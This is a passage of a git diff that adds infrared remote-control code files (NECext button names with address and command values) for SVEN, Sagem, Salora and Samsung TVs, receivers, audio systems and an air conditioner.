00 +command: 0D 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 17 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 19 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1B 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1D 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1F 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 40 00 00 00 +# +name: CRAP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 41 00 00 00 +# +name: KEY_3D +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 42 00 00 00 +# +name: INTRO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 43 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 44 00 00 00 +# +name: RAN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 45 00 00 00 +# +name: KEY_NUMERIC_POUND +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 46 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 47 00 00 00 +# +name: PBC +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 48 00 00 00 +# +name: PROG +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 49 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4A 00 00 00 +# +name: STEP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4B 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 50 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 51 00 00 00 +# +name: GOTO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 52 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 53 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 55 00 00 00 +# +name: FREEZE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 56 00 00 00 +# +name: KEY_B +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 57 00 00 00 +# +name: KEY_0+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 59 00 00 00 +# +name: R/L +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5E 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/SVEN/Unknown_HT-475/24,-1.ir b/assets/resources/infrared/_CSV-IRDB_/SVEN/Unknown_HT-475/24,-1.ir new file mode 100644 index 000000000..5f97c2801 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/SVEN/Unknown_HT-475/24,-1.ir @@ -0,0 +1,80 @@ +Filetype: IR signals file +Version: 1 +# +name: SPK+ +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 00 00 00 00 +# +name: SPK- +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 04 00 00 00 +# +name: INPUT +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 08 00 00 00 +# +name: SPK +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 0C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 0D 00 00 00 +# +name: S.BASS +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 10 00 00 00 +# +name: EQ+ +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 11 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 14 00 00 00 +# +name: EQ- +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 15 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 18 00 00 00 +# +name: EQ +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 19 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 1C 00 00 00 +# +name: KEY_MODE +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 1D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/SVEN/Unknown_IHOO/24,-1.ir b/assets/resources/infrared/_CSV-IRDB_/SVEN/Unknown_IHOO/24,-1.ir new file mode 100644 index 000000000..81fd53ef0 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/SVEN/Unknown_IHOO/24,-1.ir @@ -0,0 +1,80 @@ +Filetype: IR signals file +Version: 1 +# +name: SV.VOL+ +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 00 00 00 00 +# +name: C.VOL+ +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 04 00 00 00 +# +name: S.VOL+ +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 08 00 00 00 +# +name: PRESET +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 0C 00 00 00 +# +name: M.VOL- +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 0D 00 00 00 +# +name: M.VOL+ +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 10 00 00 00 +# +name: SV.VOL- +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 11 00 00 00 +# +name: INPUT +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 14 00 00 00 +# +name: C.VOL- +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 15 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 18 00 00 00 +# +name: SOUND +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 19 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 1C 00 00 00 +# +name: S.VOL- +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 1D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sagem/Unknown_DVB-T-Receiver/135,94.ir b/assets/resources/infrared/_CSV-IRDB_/Sagem/Unknown_DVB-T-Receiver/135,94.ir new file mode 100644 index 000000000..5a43c8251 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sagem/Unknown_DVB-T-Receiver/135,94.ir @@ -0,0 +1,200 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 09 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 0A 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 0B 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 0C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 0F 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 11 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 12 00 00 00 +# +name: FREEZE +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 13 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 14 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 15 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 16 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 17 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 18 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 19 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 1B 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 1C 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 1D 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 1E 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 1F 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 20 00 00 00 +# +name: SOUND +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 21 00 00 00 +# +name: INPUT +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 24 00 00 00 +# +name: KEY_EPG +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 25 00 00 00 +# +name: KEY_LIST +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 26 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sagem/Unknown_HD103-C/135,94.ir b/assets/resources/infrared/_CSV-IRDB_/Sagem/Unknown_HD103-C/135,94.ir new file mode 100644 index 000000000..b2387d598 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sagem/Unknown_HD103-C/135,94.ir @@ -0,0 +1,194 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 09 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 0A 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 0B 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 0C 00 00 00 +# +name: tria2 +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 0F 00 00 00 +# +name: KEY_EPG +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 11 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 12 00 00 00 +# +name: satdtt +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 13 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 14 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 15 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 16 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 17 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 18 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 19 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 1B 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 1C 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 1D 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 1E 00 00 00 +# +name: teletext6 +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 20 00 00 00 +# +name: note +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 21 00 00 00 +# +name: ext +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 24 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 25 00 00 00 +# +name: hd +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 26 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sagem/Unknown_Sagem/135,94.ir b/assets/resources/infrared/_CSV-IRDB_/Sagem/Unknown_Sagem/135,94.ir new file mode 100644 index 000000000..9fb49877e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sagem/Unknown_Sagem/135,94.ir @@ -0,0 +1,230 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 09 00 00 00 +# +name: Key +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 0A 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 0B 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 0C 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 0D 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 0E 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 0F 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 10 00 00 00 +# +name: KEY_Q +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 11 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 12 00 00 00 +# +name: Head +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 13 00 00 00 +# +name: KEY_R +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 14 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 15 00 00 00 +# +name: Red_A +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 16 00 00 00 +# +name: Green_B +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 17 00 00 00 +# +name: Yellow_C +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 18 00 00 00 +# +name: Blue_D +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 19 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 1A 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 1B 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 1C 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 1D 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 1E 00 00 00 +# +name: Swap +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 1F 00 00 00 +# +name: Interface +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 20 00 00 00 +# +name: Tone +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 21 00 00 00 +# +name: KEY_I +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 24 00 00 00 +# +name: Navigator +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 25 00 00 00 +# +name: RightArr +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 26 00 00 00 +# +name: LeftArr +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 28 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Salora/Unknown_SV6700/49,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Salora/Unknown_SV6700/49,-1.ir new file mode 100644 index 000000000..723e3206d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Salora/Unknown_SV6700/49,-1.ir @@ -0,0 +1,164 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 00 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 01 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 02 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 04 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 05 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 06 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 07 00 00 00 +# +name: SOUND +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 0A 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 0C 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 0D 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 0E 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 0F 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 10 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 11 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 12 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 13 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 14 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 15 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 16 00 00 00 +# +name: STILL +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 17 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 1C 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 1D 00 00 00 +# +name: A/V +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 1E 00 00 00 +# +name: REPEAT/MEMORY +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 1F 00 00 00 +# +name: PROG +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 42 00 00 00 +# +name: RESET +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 44 00 00 00 +# +name: VPS +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 4F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Air Conditioner/1,8.ir b/assets/resources/infrared/_CSV-IRDB_/Samsung/Air Conditioner/1,8.ir new file mode 100644 index 000000000..3082085bd --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Samsung/Air Conditioner/1,8.ir @@ -0,0 +1,62 @@ +Filetype: IR signals file +Version: 1 +# +name: SLEEP +type: parsed +protocol: NECext +address: 01 08 00 00 +command: 27 00 00 00 +# +name: AIR_SWING +type: parsed +protocol: NECext +address: 01 08 00 00 +command: 29 00 00 00 +# +name: TEMP_- +type: parsed +protocol: NECext +address: 01 08 00 00 +command: 31 00 00 00 +# +name: TEMP_+ +type: parsed +protocol: NECext +address: 01 08 00 00 +command: 32 00 00 00 +# +name: FAN_SPEED +type: parsed +protocol: NECext +address: 01 08 00 00 +command: 34 00 00 00 +# +name: FAN +type: parsed +protocol: NECext +address: 01 08 00 00 +command: 39 00 00 00 +# +name: COOL +type: parsed +protocol: NECext +address: 01 08 00 00 +command: 3C 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 01 08 00 00 +command: 3F 00 00 00 +# +name: POWER_LONG +type: parsed +protocol: NECext +address: 01 08 00 00 +command: 3F 00 00 00 +# +name: POWER_SUSTAIN +type: parsed +protocol: NECext +address: 01 08 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Rear Projection DLP TV/7,7.ir b/assets/resources/infrared/_CSV-IRDB_/Samsung/Rear Projection DLP TV/7,7.ir new file mode 100644 index 000000000..cee578ee5 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Samsung/Rear Projection DLP TV/7,7.ir @@ -0,0 +1,86 @@ +Filetype: IR signals file +Version: 1 +# +name: ANTENNA_INPUT +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 1B 00 00 00 +# +name: COMPONENT_VIDEO_1 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 43 00 00 00 +# +name: PC_INPUT +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 69 00 00 00 +# +name: S_VIDEO_1 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 85 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 98 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 99 00 00 00 +# +name: VIDEO_1 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: C1 00 00 00 +# +name: S_VIDEO_3 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: C2 00 00 00 +# +name: COMPONENT_VIDEO_3 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: C3 00 00 00 +# +name: VIDEO_2 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: F8 00 00 00 +# +name: VIDEO_3 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: F9 00 00 00 +# +name: S_VIDEO_2 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: FB 00 00 00 +# +name: COMPONENT_VIDEO_2 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: FD 00 00 00 +# +name: DVI_INPUT +type: parsed +protocol: NECext +address: 07 07 00 00 +command: FF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/TV/7,7.ir b/assets/resources/infrared/_CSV-IRDB_/Samsung/TV/7,7.ir new file mode 100644 index 000000000..025f15e87 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Samsung/TV/7,7.ir @@ -0,0 +1,206 @@ +Filetype: IR signals file +Version: 1 +# +name: INPUT_SOURCE +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 01 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 02 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 04 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 05 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 06 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 07 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 08 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 09 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0A 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0B 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0C 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0D 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0E 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0F 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 10 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 11 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 12 00 00 00 +# +name: LAST +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 13 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 1A 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 1F 00 00 00 +# +name: AD/SUBT +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 25 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 2D 00 00 00 +# +name: E-MANUAL +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 3F 00 00 00 +# +name: TOOLS +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 4B 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 4F 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 58 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 60 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 61 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 62 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 65 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 68 00 00 00 +# +name: CH_LIST +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 6B 00 00 00 +# +name: SMART_HUB +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 79 00 00 00 +# +name: 3D +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 9F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_00011k/102,0.ir b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_00011k/102,0.ir new file mode 100644 index 000000000..d87942125 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_00011k/102,0.ir @@ -0,0 +1,224 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 80 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 81 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 82 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 83 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 84 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 85 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 86 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 66 